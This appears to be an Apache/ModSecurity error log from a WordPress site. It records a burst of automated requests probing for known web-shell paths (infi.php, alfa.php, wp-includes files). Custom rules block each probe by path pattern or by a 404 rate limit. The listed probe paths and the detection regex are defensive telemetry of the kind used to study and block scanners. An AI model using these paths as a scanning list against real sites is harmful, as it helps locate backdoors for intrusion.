[Sat Feb 28 08:46:21.948731 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.26:21367] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaI63aIAO5fN7BxyqcEwuQAAAMc"]
[Sat Feb 28 08:46:23.728714 2026] [:error] [pid 39184:tid 39240] [client 173.244.55.28:34585] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaI631tZF9Zd_U7easB-QAAAAFU"]
[Sat Feb 28 08:46:25.978813 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.29:32367] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaI64aIAO5fN7BxyqcEw5AAAAMA"]
[Sat Feb 28 08:46:26.849552 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.26:49015] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaI64qIAO5fN7BxyqcEw7wAAAM8"]
[Sat Feb 28 08:46:29.953674 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.26:20573] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaI65WuX5e1Q32gqxH0fugAAAQ8"]
[Sat Feb 28 08:46:30.851379 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.22:29689] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aaI65qIAO5fN7BxyqcExHAAAAMQ"]
[Sat Feb 28 08:46:31.731249 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.20:43217] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aaI652uX5e1Q32gqxH0f1AAAAQw"]
[Sat Feb 28 08:46:33.058510 2026] [:error] [pid 39185:tid 39254] [client 173.244.55.29:25919] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaI66RVE-FfM89u7BQahVwAAAIg"]
[Sat Feb 28 08:46:34.392854 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.21:64289] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/index.php"] [unique_id "aaI66muX5e1Q32gqxH0gHQAAAQA"]
[Sat Feb 28 08:46:35.274764 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.28:55089] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/index.php"] [unique_id "aaI66xVE-FfM89u7BQahaQAAAJc"]
[Sat Feb 28 08:46:36.151950 2026] [:error] [pid 39184:tid 39243] [client 173.244.55.21:64955] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/index.php"] [unique_id "aaI67FtZF9Zd_U7easB-3AAAAFg"]
[Sat Feb 28 08:46:37.905231 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.22:44731] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaI67X6mbajs3bzQGyudEwAAAU8"]
[Sat Feb 28 08:46:38.783931 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.26:27305] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webdb.php"] [unique_id "aaI67muX5e1Q32gqxH0gZAAAARU"]
[Sat Feb 28 08:46:40.998627 2026] [:error] [pid 39184:tid 39228] [client 173.244.55.23:34087] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaI68FtZF9Zd_U7easB_CwAAAEk"]
[Sat Feb 28 08:46:41.887455 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.22:21253] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaI68aIAO5fN7BxyqcEx0gAAAM4"]
[Sat Feb 28 08:46:46.010834 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.26:55803] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaI69hVE-FfM89u7BQahzQAAAJE"]
[Sat Feb 28 08:46:48.254516 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.25:22355] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaI6-KIAO5fN7BxyqcEyCAAAAMc"]
[Sat Feb 28 08:46:49.141521 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.30:38337] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaI6-aIAO5fN7BxyqcEyEAAAAMU"]
[Sat Feb 28 08:46:50.011997 2026] [:error] [pid 39183:tid 39202] [client 173.244.55.30:29065] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaI6-hCf4HvhVePw3Laf9wAAAAo"]
[Sat Feb 28 08:46:51.795671 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.29:51529] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/WordPressCore/index.php"] [unique_id "aaI6-2uX5e1Q32gqxH0hXAAAAQA"]
[Sat Feb 28 08:46:54.905434 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.28:43579] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaI6_muX5e1Q32gqxH0hjwAAAQI"]
[Sat Feb 28 08:46:55.776820 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.28:28219] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaI6_2uX5e1Q32gqxH0hnAAAAQY"]
[Sat Feb 28 08:46:56.659430 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.26:54827] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaI7ABVE-FfM89u7BQaiIwAAAJI"]
[Sat Feb 28 08:46:57.548730 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.22:26983] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaI7AX6mbajs3bzQGyueawAAAUU"]
[Sat Feb 28 08:46:58.867011 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.30:46831] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaI7An6mbajs3bzQGyuekwAAAUo"]
[Sat Feb 28 08:46:59.759590 2026] [:error] [pid 39183:tid 39198] [client 173.244.55.30:28091] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaI7AxCf4HvhVePw3LagQQAAAAY"]
[Sat Feb 28 08:47:01.096817 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.26:28267] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/as.php"] [unique_id "aaI7BX6mbajs3bzQGyue3gAAAVM"]
[Sat Feb 28 08:47:02.425277 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.20:43459] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaI7BmuX5e1Q32gqxH0h9gAAARg"]
[Sat Feb 28 08:47:03.318705 2026] [:error] [pid 39185:tid 39252] [client 173.244.55.31:33829] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaI7BxVE-FfM89u7BQaiUgAAAIY"]
[Sat Feb 28 08:47:04.190315 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.20:20353] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaI7CFtZF9Zd_U7easB_-QAAAEA"]
[Sat Feb 28 08:47:05.062406 2026] [:error] [pid 39184:tid 39231] [client 173.244.55.26:35795] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaI7CVtZF9Zd_U7easCACAAAAEw"]
[Sat Feb 28 08:47:06.380948 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.21:65035] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaI7CmuX5e1Q32gqxH0iSAAAARI"]
[Sat Feb 28 08:47:08.128866 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.28:37539] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaI7DGuX5e1Q32gqxH0ifAAAARM"]
[Sat Feb 28 08:47:09.024785 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.23:39317] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaI7DX6mbajs3bzQGyufOwAAAVQ"]
[Sat Feb 28 08:47:11.249506 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.25:65085] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webadmin.php"] [unique_id "aaI7D6IAO5fN7BxyqcEy9wAAANE"]
[Sat Feb 28 08:47:12.575513 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.23:51403] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaI7EGuX5e1Q32gqxH0jEAAAAQA"]
[Sat Feb 28 08:47:16.568699 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.28:43725] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaI7FGuX5e1Q32gqxH0jsQAAAQA"]
[Sat Feb 28 08:47:17.882283 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.20:51123] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aaI7FX6mbajs3bzQGyufyAAAAUs"]
[Sat Feb 28 08:47:19.661189 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.31:34273] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaI7F36mbajs3bzQGyuf-AAAAVM"]
[Sat Feb 28 08:47:20.550830 2026] [:error] [pid 39183:tid 39201] [client 173.244.55.23:47059] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaI7GBCf4HvhVePw3LagiQAAAAk"]
[Sat Feb 28 08:47:22.791679 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.30:39483] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aaI7GqIAO5fN7BxyqcEzlwAAANg"]
[Sat Feb 28 08:47:24.114233 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.31:26159] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaI7HH6mbajs3bzQGyugUQAAAVU"]
[Sat Feb 28 08:47:26.348824 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.29:48007] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:47:26.788815 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.29:48007] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/plugins.php"] [unique_id "aaI7HqIAO5fN7BxyqcEz1gAAAMc"]
[Sat Feb 28 08:47:27.692694 2026] [proxy_fcgi:error] [pid 22194:tid 22207] [client 173.244.55.23:38827] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:47:28.139528 2026] [proxy_fcgi:error] [pid 22194:tid 22208] [client 173.244.55.23:38827] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:47:30.360951 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.23:38827] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaI7In6mbajs3bzQGyug0AAAAVQ"]
[Sat Feb 28 08:47:31.236103 2026] [:error] [pid 39184:tid 39225] [client 173.244.55.21:39593] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaI7I1tZF9Zd_U7easCAmAAAAEY"]
[Sat Feb 28 08:47:34.405511 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.30:65067] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaI7JmuX5e1Q32gqxH0lDgAAAQs"]
[Sat Feb 28 08:47:35.311291 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.20:34001] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaI7J36mbajs3bzQGyuhVwAAAUo"]
[Sat Feb 28 08:47:36.197146 2026] [:error] [pid 39183:tid 39192] [client 173.244.55.23:30763] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaI7KBCf4HvhVePw3LagtAAAAAA"]
[Sat Feb 28 08:47:37.073450 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.26:34777] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaI7KWuX5e1Q32gqxH0lTwAAAQI"]
[Sat Feb 28 08:47:37.951338 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.28:51931] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/index.php"] [unique_id "aaI7KWuX5e1Q32gqxH0lWQAAARE"]
[Sat Feb 28 08:47:38.823990 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.26:23003] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/index.php"] [unique_id "aaI7KhVE-FfM89u7BQajQwAAAIc"]
[Sat Feb 28 08:47:40.140525 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.29:28725] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaI7LGuX5e1Q32gqxH0lgQAAAQ8"]
